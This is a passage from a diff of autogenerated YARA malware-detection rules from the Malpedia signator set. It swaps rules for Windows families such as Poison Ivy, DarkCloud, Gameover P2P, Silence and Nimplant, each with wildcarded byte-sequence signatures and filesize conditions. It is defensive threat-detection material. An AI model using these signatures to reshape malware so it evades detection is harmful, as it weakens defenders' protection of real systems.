source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.startpage_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nagini_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "21d756dfb49cd7d91a800b8f6049ef1f88714f6007f6f320c1aa4c2e5532acfc" + logic_hash = "7611b927095df92b3b5eaffee00806b1be3b736d512ae6422738ca1d97180738" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -84372,32 +84352,32 @@ rule MALPEDIA_Win_Startpage_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6801000080 ff15???????? 8b4dd8 8bf0 83c1f0 e8???????? 85f6 } - $sequence_1 = { 8b4f18 84040a eb57 8b471c 85c0 741b 8b4808 } - $sequence_2 = { 663bc3 75f6 2b8de4deffff d1f9 41 8d344e 8d144a } - $sequence_3 = { 1bc0 2516020780 e9???????? 56 8b36 e8???????? 59 } - $sequence_4 = { 50 8d4e0c e8???????? 33c0 894610 894614 894618 } - $sequence_5 = { 8d7010 89b5e0feffff 8d85e0feffff c645fc0d 50 8d4b1c e8???????? } - $sequence_6 = { 85c0 51 0f45d8 c645fc05 53 8d4db8 e8???????? } - $sequence_7 = { ff15???????? 6a01 ff758c ff15???????? 8b4588 6a15 8b484c } - $sequence_8 = { 7417 56 8b30 50 e8???????? 8bc6 59 } - $sequence_9 = { 5b 8be5 5d c3 ff15???????? 0fb7c8 81c900000780 } + $sequence_0 = { 080c08 07 0d0807110c 0916 100b } + $sequence_1 = { 83781408 7202 8b00 50 e8???????? 83c404 837c245808 } + $sequence_2 = { 0f835ffbffff 03f3 03d3 83fb1f 0f8715040000 ff249da0c64000 8b46e4 } + $sequence_3 = { 0404 0406 0404 06 0404 06 0404 } + $sequence_4 = { 0536240538 27 06 37 260537260535 230434 2203 } + $sequence_5 = { 07 0505080606 0907 07 } + $sequence_6 = { 6a14 8d0440 3d860a0000 756c 6a32 68a0000000 } + $sequence_7 = { 6454 48 68584c6959 4d 6f 5f 53 } + $sequence_8 = { 06 0806 06 0907 } + $sequence_9 = { 89441928 8b45f0 8954192c 8b4df4 8b148dc0914200 } condition: - 7 of them and filesize < 2277376 + 7 of them and filesize < 12820480 } -rule MALPEDIA_Win_Whiskerspy_Auto : FILE +rule MALPEDIA_Win_Punkey_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "129d540e-8d5c-5460-9975-895a38c68929" + id = "558f1792-1bb2-5d9b-859d-0b6382b27ab5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiskerspy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whiskerspy_auto.yar#L1-L147" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.punkey_pos_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "f82e28f98658c3c783c2c1731be6b16001447d83e33b49e0aaa68c9ddf787261" + logic_hash = "a4ee7826b83e8d1ab2e9aee9c2a1f21a3ae3a3b9d6fb52555b83791b8ed2dd78" score = 75 quality = 75 tags = "FILE" @@ -84411,39 +84391,34 @@ rule MALPEDIA_Win_Whiskerspy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b06 8bcf d3e8 a801 } - $sequence_1 = { 33d2 488d4c2460 41b804010000 e8???????? 33d2 } - $sequence_2 = { 418b37 488bfd 488b8c2420010000 4883c510 } - $sequence_3 = { 44896ddc 498bd4 498bcd e8???????? 4c8be0 } - $sequence_4 = { 4803ca 418bc3 4c3bc1 458b4210 8b0d???????? } - $sequence_5 = { 48d3cf 4933f8 4b87bcfee0740200 33c0 488b5c2450 } - $sequence_6 = { e8???????? c6043700 488d55e0 498bce e8???????? } - $sequence_7 = { 4157 488dac24c8fcffff 4881ec38040000 488bda } - $sequence_8 = { 8d45d4 837de808 8b4db0 0f4345d4 8b16 } - $sequence_9 = { c685f9fbffff1e c685fafbffff8b 59 c685fbfbffff86 } - $sequence_10 = { c685e4feffff7b 889de5feffff 8a85b8feffff 8a840db8feffff } - $sequence_11 = { 6a06 59 f3a5 8b75e8 8b7dd8 } - $sequence_12 = { 0fbec1 83e820 83e07f 8b0cc5d43b4300 eb02 } - $sequence_13 = { 7430 8b5304 8d47f8 8d7308 } - $sequence_14 = { 33c0 f68594f9ffff02 899d9cf8ffff 89b5a0f8ffff } + $sequence_0 = { ff05???????? 8b0d???????? 56 57 6a00 51 ff15???????? } + $sequence_1 = { 56 ffd7 a3???????? 85c0 74ae 5f b801000000 } + $sequence_2 = { 68e7070000 50 ff15???????? ff05???????? } + $sequence_3 = { 741d a1???????? 85c0 740e 56 57 68e7070000 } + $sequence_4 = { ffd7 a3???????? 85c0 74ae 5f b801000000 } + $sequence_5 = { 50 a1???????? 50 ff15???????? 5d c20c00 } + $sequence_6 = { 85c0 7919 8b4d10 8b550c } + $sequence_7 = { a3???????? 85c0 74ae 5f b801000000 } + $sequence_8 = { ff15???????? c705????????00000000 c3 3b0d???????? 7502 f3c3 e9???????? } + $sequence_9 = { 56 57 68e7070000 50 ff15???????? ff05???????? } condition: - 7 of them and filesize < 591872 + 7 of them and filesize < 499712 } -rule MALPEDIA_Win_Computrace_Auto : FILE +rule MALPEDIA_Win_Silence_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d022645b-4eeb-5507-b4bf-b64f930ec84b" + id = "76b63199-cbb5-5cad-8141-09f38a80148d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.computrace_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silence" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.silence_auto.yar#L1-L414" license_url = "N/A" - logic_hash = "f20f4a4bfb7063221bca96073a60966b690b58a18a5add0eb3048df505777fc6" + logic_hash = "ca0b6959891210b6329cb5e65869406530d9a0a78093846319a985c972eb2ee3" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -84455,34 +84430,72 @@ rule MALPEDIA_Win_Computrace_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4628 8d5508 6a04 52 56 ffd0 } - $sequence_1 = { 7469 c7466c01000000 834e70ff 804e5c04 ff15???????? } - $sequence_2 = { 2bc7 7417 48 740f 48 } - $sequence_3 = { 8d442404 50 6a01 6a00 6a03 ff15???????? c20400 } - $sequence_4 = { 894c862c 8935???????? 5e 8bc3 5b } - $sequence_5 = { 3b0f 7cd3 c60600 2b750c 8937 5f 5e } - $sequence_6 = { 8845f3 33ff 397d14 7e1a } - $sequence_7 = { 56 8b35???????? 57 8b7d08 8d85f8feffff 50 } - $sequence_8 = { 7305 6681f22110 fecd 75f2 } - $sequence_9 = { ffb6401b0000 ff15???????? 8d86301b0000 50 8d45e4 50 } + $sequence_0 = { e8???????? cc 8325????????00 c3 6a08 } + $sequence_1 = { 8a4801 40 84c9 75f4 eb05 } + $sequence_2 = { 50 6a00 6a00 68???????? c745fc00000000 } + $sequence_3 = { 50 683f020f00 6a00 68???????? 6801000080 ff15???????? 68???????? } + $sequence_4 = { 6801000080 ff15???????? 56 8d85f8feffff 50 } + $sequence_5 = { ff15???????? 6a00 6800000004 6a00 } + $sequence_6 = { 7502 f3c3 e9???????? e8???????? e9???????? 6a14 68???????? } + $sequence_7 = { 68???????? ffd6 8b45fc 85c0 } + $sequence_8 = { 6800040000 ff30 c745fc00000000 57 ff15???????? } + $sequence_9 = { 55 8bec 51 56 8b35???????? 6a00 6a00 } + $sequence_10 = { 8b35???????? 6a00 6a00 6a00 6a00 8d45fc } + $sequence_11 = { 84c9 75f4 eb0d 803800 7408 8a5a01 42 } + $sequence_12 = { 3acb 740a 8a4801 40 } + $sequence_13 = { 5b 5d c3 c60200 42 } + $sequence_14 = { 8bf8 6a00 57 ff15???????? 8d45fc } + $sequence_15 = { 50 56 ff15???????? 8b85b8f7ffff 85c0 75b6 ffb5acf7ffff } + $sequence_16 = { 8d85b8f7ffff 50 6800080000 8d85bcf7ffff 50 } + $sequence_17 = { 6a00 8d8db4f7ffff 51 50 8d85bcf7ffff } + $sequence_18 = { e8???????? ff76f8 e8???????? 83c41c 895ef8 897ef0 5b } + $sequence_19 = { 8b46f8 0346f4 57 ff7508 50 } + $sequence_20 = { 8b01 52 8d95f0fdffff 52 } + $sequence_21 = { e8???????? ff37 8b35???????? ffd6 } + $sequence_22 = { 898df8fbffff 8d8dfcfbffff 51 ffb5f0fbffff } + $sequence_23 = { ff5210 8b17 8bcf ff5208 } + $sequence_24 = { 52 ff10 8b95ecfdffff 03fa } + $sequence_25 = { e8???????? 8b4ef4 8bc7 2bc1 } + $sequence_26 = { 99 83e203 03c2 c1f802 89442448 } + $sequence_27 = { ff15???????? ba180c0000 b940000000 ff15???????? } + $sequence_28 = { 8b05???????? d3e0 8b0d???????? 03c8 } + $sequence_29 = { d3e0 0fb6c8 8b05???????? d3e0 } + $sequence_30 = { e8???????? ba00040000 b940000000 ff15???????? } + $sequence_31 = { ff15???????? 41b804010000 488d542430 488d4c2430 ff15???????? 85c0 } + $sequence_32 = { d3f8 0fb60d???????? d3e0 85c0 } + $sequence_33 = { ff15???????? 488d542430 488d8c2440020000 ff15???????? } + $sequence_34 = { 8d0441 33d2 b905000000 f7f1 } + $sequence_35 = { 750e 68???????? ff15???????? c20800 53 8b1d???????? } + $sequence_36 = { 8bec ff4d08 755d 833d????????04 } + $sequence_37 = { c705????????00000000 c705????????04000000 ff15???????? 85c0 750b } + $sequence_38 = { 7507 68???????? ffd7 6a00 6a00 6a01 } + $sequence_39 = { 53 8b1d???????? 57 0f57c0 } + $sequence_40 = { 68???????? ff15???????? a3???????? 85c0 750e 68???????? ff15???????? } + $sequence_41 = { ff15???????? 68c0d40100 ff15???????? e9???????? } + $sequence_42 = { ffd3 5e 85c0 7507 68???????? ffd7 5f } + $sequence_43 = { c705????????00000000 c705????????00000000 ffd3 8b3d???????? } + $sequence_44 = { 0305???????? 0b45f0 3305???????? a3???????? } + $sequence_45 = { 03048db0354200 eb05 b8???????? f6402820 } + $sequence_46 = { 03048db0354200 eb02 8bc6 80782900 } + $sequence_47 = { 03048db0354200 50 ff15???????? 5d } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 70128640 } -rule MALPEDIA_Win_Hookinjex_Auto : FILE +rule MALPEDIA_Win_Darkcloud_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e24b7d8d-57d5-5a71-8e95-7d0e69957252" + id = "cd1b5f5a-7942-5b60-9ccf-fe3c4e2edece" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hookinjex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hookinjex_auto.yar#L1-L153" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkcloud_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "26e9369b12553b0bff21d81ce8a2563735cb73daf51c3e0b22c3fdadcf7df76a" - score = 60 - quality = 25 + logic_hash = "aa0d92530fd9200448b5bea8151df68481eaae78d40aef44b3313e13499f3f86" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -84494,38 +84507,32 @@ rule MALPEDIA_Win_Hookinjex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? b80a020000 eb02 33c0 } - $sequence_1 = { e8???????? 85c0 750f b9ab480100 } - $sequence_2 = { e8???????? b95b730100 e8???????? e9???????? } - $sequence_3 = { e8???????? 833d????????00 7411 b903000000 e8???????? 488905???????? } - $sequence_4 = { e8???????? 85c0 740f b907b60000 } - $sequence_5 = { e8???????? b964000000 ff15???????? 0fb705???????? } - $sequence_6 = { e8???????? 833d????????00 7411 b906000000 e8???????? 488905???????? } - $sequence_7 = { e8???????? 85c0 740c b913e40000 } - $sequence_8 = { 4883780800 7512 488b442450 8b00 } - $sequence_9 = { 0f843d010000 488b442440 488b4c2470 488b4920 } - $sequence_10 = { 25ff9fffff 89442420 8b442420 89442448 } - $sequence_11 = { 03442460 488b4c2468 8901 e9???????? 488b542470 488d4c2430 } - $sequence_12 = { 25ffe7ffff 0fbae80b 8944243c 8b44243c } - $sequence_13 = { 25ffe7ffff 0fbae80b 89442420 8b442420 89442468 } - $sequence_14 = { 25ff0f0000 89442448 488b0d???????? 48894c2450 } - $sequence_15 = { 25ffe7ffff 0fbae80b 8944245c 8b44245c } + $sequence_0 = { 6a00 68???????? 8d857cffffff 50 ff15???????? 8d8d7cffffff 51 } + $sequence_1 = { 8b9584feffff 52 8b8580feffff 50 ff15???????? 898568fdffff eb0a } + $sequence_2 = { 89952cffffff 6aff 8b45a8 50 8b4d08 8b11 52 } + $sequence_3 = { c7458c0a000000 c745a404000280 c7459c0a000000 c745b404000280 c745ac0a000000 8b45d8 } + $sequence_4 = { 83c418 c745fc11000000 ba???????? 8d4da0 ff15???????? 8d45a0 50 } + $sequence_5 = { 51 8d8544ffffff 52 50 ff15???????? } + $sequence_6 = { 8bd0 8d4d98 ff15???????? ba???????? 8d4dac ff15???????? 8b5598 } + $sequence_7 = { ff15???????? 8d4dc8 ff15???????? 8d4db8 ff15???????? c745fc0c000000 8b45d4 } + $sequence_8 = { 68???????? ff15???????? 8bd0 8d4da8 ff15???????? 8d4590 50 } + $sequence_9 = { 8d4d88 51 8d558c 52 8d4590 50 6a05 } condition: - 7 of them and filesize < 6545408 + 7 of them and filesize < 622592 } -rule MALPEDIA_Win_Mylobot_Auto : FILE +rule MALPEDIA_Win_Slimagent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f7dde5ee-bede-5ac3-b3eb-6e299ffacf3b" + id = "81a11c11-c6ba-51d7-a103-aa43fd5efed5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mylobot_auto.yar#L1-L174" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slimagent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slimagent_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "56cc02e4b48743c53b559e650312c78d0538beee90fc9e32cc4b9fd49244eca7" + logic_hash = "78304dd9a4e758407499c150f8ded9d2c3d715e90c8046900ee52970af3e3c9d" score = 75 quality = 75 tags = "FILE" @@ -84539,38 +84546,32 @@ rule MALPEDIA_Win_Mylobot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 75f6 5e c3 8b442404 eb05 40 84c9 } - $sequence_1 = { 6a00 6a00 8d8c24c4000000 51 } - $sequence_2 = { 8b54241c 891481 ff430c 8b4ff0 85c9 7502 } - $sequence_3 = { 8bf0 6aff 56 ff15???????? 56 ff15???????? 6810270000 } - $sequence_4 = { 5d 5e 5b 81c404080000 c3 8b4c2404 8b54240c } - $sequence_5 = { 42 84c9 75f6 5e c3 } - $sequence_6 = { ff96a8000000 50 ff5670 a1???????? 57 ff742410 ff742414 } - $sequence_7 = { 8b54240c 56 8b74240c 57 8bf9 2bf1 8bc2 } - $sequence_8 = { ff15???????? 85c0 0f8447010000 8b742438 85f6 0f843b010000 8b3d???????? } - $sequence_9 = { 51 8d8ddcfdffff e8???????? 83c404 85c0 } - $sequence_10 = { c3 ff15???????? 8b45f0 50 ff15???????? } - $sequence_11 = { b8???????? e8???????? 83c40c 85c0 0f84d9010000 } - $sequence_12 = { 8d4dfc 51 52 ffd0 8b45fc } - $sequence_13 = { 6a09 50 ffd2 8bf8 } - $sequence_14 = { 7416 8bff 0fb6d0 8a9c15dcfdffff 84db } - $sequence_15 = { 85c0 0f84c3000000 8b08 8d55f8 52 68???????? } + $sequence_0 = { 488bc2 488d0df5440200 0f57c0 48890b 488d5308 488d4808 0f1102 } + $sequence_1 = { b801000000 874110 85c0 7427 8364244000 488d05d2a5feff 4889442448 } + $sequence_2 = { c3 4053 4883ec20 488d054bcf0200 488bd9 488901 f6c201 } + $sequence_3 = { 0f1102 e8???????? 488d058c780200 488903 488bc3 4883c420 5b } + $sequence_4 = { 66413b444b02 7515 4883c102 4883f90b 7415 0fb7044a 66413b044b } + $sequence_5 = { 488d0c4f 41b810000000 488d15004c0400 e8???????? 6646892c77 eb7d 48c744242008000000 } + $sequence_6 = { 4c8b83f0000000 498bc0 482bc1 483bd0 772f 488d3411 } + $sequence_7 = { 488bc2 48c1e83f 4803d0 4863c2 4869c880aefeff 488d0535240100 89531c } + $sequence_8 = { 4803fa 4d8bc6 33d2 488bcf e8???????? 42c6043700 eb0f } + $sequence_9 = { 48899fc8000000 668919 488d8fd8000000 4883bff000000008 7207 } condition: - 7 of them and filesize < 8028160 + 7 of them and filesize < 769024 } -rule MALPEDIA_Win_Lazarloader_Auto : FILE +rule MALPEDIA_Win_Quickheal_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4eef2499-48c5-5b94-8dd0-29267a0265f8" + id = "32c5b738-c920-5a30-a6ba-c9a05fe50d12" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazarloader_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quickheal_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "176d7f7f65178334e7677ff59a660edd6b016ed103feffa239e5ccc53e031e90" + logic_hash = "b1666ee1e28f71dc83ee325a607900259e0027addcd09d0a51064c380d4fc4c7" score = 75 quality = 75 tags = "FILE" @@ -84584,32 +84585,32 @@ rule MALPEDIA_Win_Lazarloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48894de8 488945f0 488d15a0bd0000 b805000000 894520 894528 } - $sequence_1 = { 488bd7 4c8d05fecd0000 83e23f 488bcf } - $sequence_2 = { 33c0 b906020000 f3aa 33c0 66898424d0060000 488d8424d2060000 488bf8 } - $sequence_3 = { 488bc2 e9???????? 493bec 0f84be000000 8b7500 33c0 f04d0fb1bcf120ba0100 } - $sequence_4 = { 4889842490000000 488b442470 0fb700 6689442432 488b442458 0fb74c2432 } - $sequence_5 = { 4885c9 7430 53 4883ec20 488d0563810000 } - $sequence_6 = { eb19 488d1dec1e0100 eb10 488d1df31e0100 eb07 488d1dd21e0100 } - $sequence_7 = { 4883ec20 e8???????? 488b05???????? 488d1da7710100 } - $sequence_8 = { e8???????? 89442460 33c9 e8???????? } - $sequence_9 = { 85c0 750d 488bcb e8???????? e9???????? 4c8d2557230100 } + $sequence_0 = { 33c0 8d7c2431 c78424ec0300001c010000 f3ab 66ab } + $sequence_1 = { 66898c2494040000 b940000000 f3ab c784249800000003000000 c78424cc000000058288a2 } + $sequence_2 = { 8b542414 6a07 52 895c2478 895c247c } + $sequence_3 = { 8944242c 55 e9???????? ffd6 68???????? 57 8944243c } + $sequence_4 = { 89542450 f7d1 89542454 49 8bf9 8d043f 50 } + $sequence_5 = { 7527 85ed 7523 8b4c2414 e8???????? 53 892d???????? } + $sequence_6 = { 8d5c2410 83c404 8944240c c1eb04 8d740704 e8???????? 3206 } + $sequence_7 = { ffd7 3bc3 0f845d040000 8d8c24d8150000 2bc6 } + $sequence_8 = { 23e9 f7d2 23d6 0bd5 8b6c243c 03d5 03da } + $sequence_9 = { 8b542420 c1f802 8d0440 3bd0 0f8c8e030000 8d46fc 53 } condition: - 7 of them and filesize < 364544 + 7 of them and filesize < 553984 } -rule MALPEDIA_Win_Gameover_P2P_Auto : FILE +rule MALPEDIA_Win_Poison_Ivy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fe20a97c-206c-5c98-87a9-4b574fa239f7" + id = "0917932a-f079-5bf1-931c-716d03c726be" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gameover_p2p_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poison_ivy_auto.yar#L1-L94" license_url = "N/A" - logic_hash = "0a805dc64b5619969bf73a86439d36461e7cd7fd50eef8d82014a2fb996a9dce" + logic_hash = "3536834c24827a74ee9df7192a4db2e3644f1cf45a57755c4feba403f8b5bbbf" score = 75 quality = 75 tags = "FILE" @@ -84623,32 +84624,29 @@ rule MALPEDIA_Win_Gameover_P2P_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 88442413 0fb6c0 8944241c 8a80007f3902 0fb6c0 3bc8 } - $sequence_1 = { 8d55ee 33c9 e8???????? ba???????? 6a2e 58 668945ec } - $sequence_2 = { 33c0 e9???????? 6a74 59 e8???????? 8bf8 85ff } - $sequence_3 = { 8b8684000000 8d0440 03c0 0fb78c008a183902 03c0 898e80000000 0fb79088183902 } - $sequence_4 = { 895108 6bd20c 83c104 e8???????? c20400 f644240401 } - $sequence_5 = { 3d02010000 0f85e0000000 8d7dce 6800020000 8d44241c 50 8d8424b0060000 } - $sequence_6 = { e8???????? 33d2 b9ff000000 f7f1 6a00 56 8bcf } - $sequence_7 = { ff15???????? 8bf0 89742410 83feff 7478 8d442414 50 } - $sequence_8 = { 8a0408 3204f598613902 32c2 42 880439 663b14f59a613902 } - $sequence_9 = { 50 8d442448 85ed 8b6c2444 0f45c8 51 ff742430 } + $sequence_0 = { 6a01 6a00 8d86120e0000 50 } + $sequence_1 = { 683f000f00 6a00 57 51 ff5635 68ff000000 } + $sequence_2 = { 51 57 ff9681000000 8d45fc 50 683f000f00 6a00 } + $sequence_3 = { 80beaf08000001 7507 b902000080 eb05 b901000080 8d45fc 50 } + $sequence_4 = { 8d86120e0000 50 ff75fc ff563d } + $sequence_5 = { 51 ff5635 68ff000000 8d86b1060000 50 6a01 6a00 } + $sequence_6 = { 57 ff9681000000 80beaf08000001 7507 } condition: - 7 of them and filesize < 598016 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Webc2_Head_Auto : FILE +rule MALPEDIA_Win_Mpkbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2d2a730d-97a8-5241-8842-4f785d02a551" + id = "5c0d844d-8443-5cd2-85d1-0760b4dc7471" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_head_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mpkbot_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "de901b0b98bf3f5b5c73a555d4c5ec984c92ea5b4ae983fcd4805edfd4129476" + logic_hash = "e000d2e2dca508ff7c1606218ef334f987cad7bd6633af2fef3bc1fd70b54752" score = 75 quality = 75 tags = "FILE" @@ -84662,32 +84660,32 @@ rule MALPEDIA_Win_Webc2_Head_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a4 8d049500000000 8d0c52 89442418 894c2438 8b44241c 8b00 } - $sequence_1 = { 735a 8bc8 83e01f c1f905 8b0c8d40cb4000 } - $sequence_2 = { 0f8550ffffff 8b542424 8b4c241c 3bd1 0f8dc9000000 2bca } - $sequence_3 = { 83c40c f2ae f7d1 49 894c2414 7511 bf???????? } - $sequence_4 = { 0fb6fa 3bc7 7714 8b55fc 8a9220994000 } - $sequence_5 = { f2ae f7d1 49 51 68???????? 50 50 } - $sequence_6 = { 8d9e38994000 803b00 8bcb 742c } - $sequence_7 = { f7d1 49 68???????? 68???????? 894c2438 e8???????? } - $sequence_8 = { f3ab 68???????? e8???????? 6a03 68???????? 68???????? } - $sequence_9 = { 8b6c2424 884603 83c604 89742410 8bde } + $sequence_0 = { 50 ff15???????? ff7510 a3???????? } + $sequence_1 = { 68???????? 68???????? 8975f8 8b08 50 } + $sequence_2 = { 52 56 6a20 68???????? 68???????? 8975f8 8b08 } + $sequence_3 = { 50 ff15???????? 8b45fc 3bc6 7406 8b08 } + $sequence_4 = { 68???????? 68???????? 8975f8 8b08 50 ff5150 } + $sequence_5 = { a5 a5 8b75fc 5f 53 ff15???????? 8bc6 } + $sequence_6 = { 56 68???????? 68???????? ffd7 6a00 6a01 } + $sequence_7 = { eb15 53 ff75f8 56 } + $sequence_8 = { d95dd0 d945d0 d9c1 dee1 d95dcc 0fb630 } + $sequence_9 = { 6a01 6aff 8975fc 8b08 50 ff5110 85c0 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Glasses_Auto : FILE +rule MALPEDIA_Win_Nimplant_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e3f60807-9e3f-553f-aab3-2b9d174a2d1f" + id = "a344304a-2438-58e4-b960-8890c3f03181" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glasses_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimplant" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimplant_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "f8dc4024fd9ceffd71dbd3d9fead59d2a70f550a13ec78ce30cdcf445ee6a1a3" + logic_hash = "3bcc7f38e2b9ac77c0e1b998e8b9b2d2ae5abbf7ef3c4a3072bece45de56739e" score = 75 quality = 75 tags = "FILE" @@ -84701,32 +84699,32 @@ rule MALPEDIA_Win_Glasses_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8b4d10 51 68???????? 8bce e8???????? 8d4de4 } - $sequence_1 = { e9???????? 8d8d38fdffff e9???????? 8d8d94feffff e9???????? 8d8dacfdffff e9???????? } - $sequence_2 = { ffd0 e9???????? 389d4afbffff 0f842f070000 8d8d10fbffff 889d4bfbffff e8???????? } - $sequence_3 = { eb05 1bc9 83d9ff 85c9 0f84643d0000 b9???????? 8d9b00000000 } - $sequence_4 = { eb2d 8b5520 8b451c 8d8e00090000 51 8b4d18 52 } - $sequence_5 = { e8???????? 8ac3 e9???????? 68???????? e9???????? 8b16 8b4214 } - $sequence_6 = { f3ab 8b5510 52 e8???????? 83c404 5f 5e } - $sequence_7 = { e9???????? 8d8df4feffff e9???????? 8d8d08ffffff e9???????? 8b542408 8d420c } - $sequence_8 = { e8???????? 8d8d40fdffff 51 bb05000000 56 8d4d94 885dfc } - $sequence_9 = { ff15???????? 399d60fcffff 8b854cfcffff 7306 8d854cfcffff 50 e8???????? } + $sequence_0 = { 4c8d05a49c0400 e8???????? 4885db 740f 48b80000000000000040 488503 } + $sequence_1 = { 4d85e4 0f8886000000 410fb6443c08 89c2 83e2fd 80fa3c 7404 } + $sequence_2 = { 4d29dd 4801fe 488d4802 4839d1 7c16 4801d2 4883c003 } + $sequence_3 = { 744a 488d4c2430 4c89ea e8???????? 488b7c2430 0fb62b 4c89e9 } + $sequence_4 = { 4c8b11 4c8b5908 488b02 4c89c3 4c8b4208 4c8d6c2430 4989d4 } + $sequence_5 = { 498b4708 420fb6440807 3c5c 744d 3c2f 7449 ba01000000 } + $sequence_6 = { 4c89fa 4c89c9 4c894c2438 e8???????? 0fb63b 4c8b7c2458 4c8b4c2438 } + $sequence_7 = { 48897c2438 0f8093030000 4885c0 0f88c2050000 488d7c2470 4889c2 488dac2480000000 } + $sequence_8 = { 4c894c2448 4c895c2440 e8???????? 4c8b5c2440 4c8b4c2448 4d01d9 0f8050020000 } + $sequence_9 = { e8???????? 0fb62b 4084ed 0f85d6fdffff 89f0 488d9424f0000000 